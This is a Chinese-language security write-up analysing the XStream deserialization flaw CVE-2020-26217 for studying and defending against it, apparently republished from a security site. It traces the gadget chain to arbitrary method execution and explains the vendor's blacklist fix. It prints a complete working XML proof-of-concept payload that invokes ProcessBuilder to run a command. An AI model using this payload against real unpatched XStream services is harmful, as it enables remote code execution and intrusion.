XStream反序列化CVE-2020-26217漏洞分析
引言
近期，XStream发布了关于CVE-2020-26217的公告，通过该漏洞攻击者可发送恶意构造的xml，在受影响版本(<=1.4.13)的XStream上直接RCE。
XStream反序列化原理
与传统的Java反序列化不同，XStream反序列化的触发不依靠readObject，而是使用Converter(转换器)中的unmarshal。而Converter根据源码的注释，其用途为对象与xml文本之间的相互转换。
下面用一个简单的例子来演示，首先我们定义一个User类
public class User {
public String username;
}
然后使用XStream加载
XStream xStream = new XStream();
User user = (User)xStream.fromXML(new File("/Users/dinfinite/IdeaProjects/xstream/src/main/resources/payloads/user.xml"));
由于User类并未在Converter的转换类型中，因此使用ReflectionConverter进行unmarshal，该转换器判断能否转换的逻辑如下，即类存在且可访问
调用unmarshal将xml还原为User对象，完成反序列化的过程
XStream历史漏洞
在XStream过往的漏洞中，利用的核心为DynamicProxy类和EventHandler类，当存在dynamic-proxy标签时，会使用DynamicProxyConverter进行unmarshal，该操作会构造一个由用户指定handler的对应代理对象。
而恰好EventHandler的invoke函数支持执行任意方法(根据传入的参数)
因此XStream官方的修复方式为,实现了一个类为InternalBlackList(黑名单转换器),当属性值为java.beans.EventHandler时，抛出异常，因此基于该类型的poc均失效
漏洞复现
以下为官方公告中给出的POC
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>open</string>
<string>./</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
通过XStream加载上述XML，成功弹出计算器
漏洞分析
由于该漏洞触发链较长，为了便于理解，将整体的利用链分成四部分。
入口
由于DynamicProxy类和EventHandler类的组合拳失效，因此这次漏洞并没有利用动态代理转换器，漏洞的触发点在MapConverter中，其unmarshal函数如下
可以看到，传入的XML文本(转换为reader)，被传递到了填充map的函数中，进一步跟进，流程走到了putCurrentEntryIntoMap函数中，该函数的作用为将对应的key和value(从XML中解析，对应POC中的<jdk.nashorn.internal.objects.NativeString>和<string>)放到HashMap中，由此触发HashMap的put方法，进入纽带1阶段
纽带1
由于在Java中HashMap需要计算HashCode，因此作为key的jdk.nashorn.internal.objects.NativeString，会调用其hashCode方法
纽带2
由于jdk.nashorn.internal.objects.NativeString的hashCode会先调用getStringValue()，它调用当前类的属性value的toString方法,由于value为com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data类，它的toString会触发自身的get函数
get函数调用readForm读取自身的DataSource中的InputStream
终点方法
在读取的过程中，会遍历InputStream中的子元素
而javax.swing.MultiUIDefaultsEnumerator类的nextElement，会调用自身迭代器的next函数，其next函数中额外调用了advance函数
advance函数额外调用了filter属性的filter方法
javax.imageio.ContainsFilter类的filter方法如下
可以看到，只要method以及elt可控，即可执行任意类任意方法，实现RCE。而method和elt在先前的ReflectionConverter中，已经填充完毕，对应POC中的<filter>和<iter>元素。
漏洞修复
其实官方早在1.4.7的时候，就加入了针对XStream自身的安全框架
然而框架本身并未提供任何默认策略，需要用户手动调用addPermission进行配置，因此，在1.4.13之前的版本，其防御手段都是依靠修改Converter，包括InternalBlackList和ReflectionConverter，在转换时将其拦截。在1.4.13中，默认加入了EventHandler的黑名单
在1.4.14中，加入了java.lang.ProcessBuilder和javax.imageio.ImageIO$ContainsFilter的黑名单
当我们在1.4.14中再次执行POC时，会发现抛出了ForbiddenClassException异常。
跟踪其调用栈，发现SecurityMapper会存取到Converter当中，当Converter试图获取标签的类时，会先遍历自身的Mapper(其中包括SecurityMapper)
此时假设匹配到黑名单类，直接抛出异常。
参考链接
Java XStream反序列化漏洞
本文由D_infinite原创发布转载，请参考转载声明，注明出处： https://www.anquanke.com/post/id/222830
本文来源于Lonely Blog -全球网络安全资讯平台, 转载请注明出处： https://blog.wuhao13.xin/2330.html
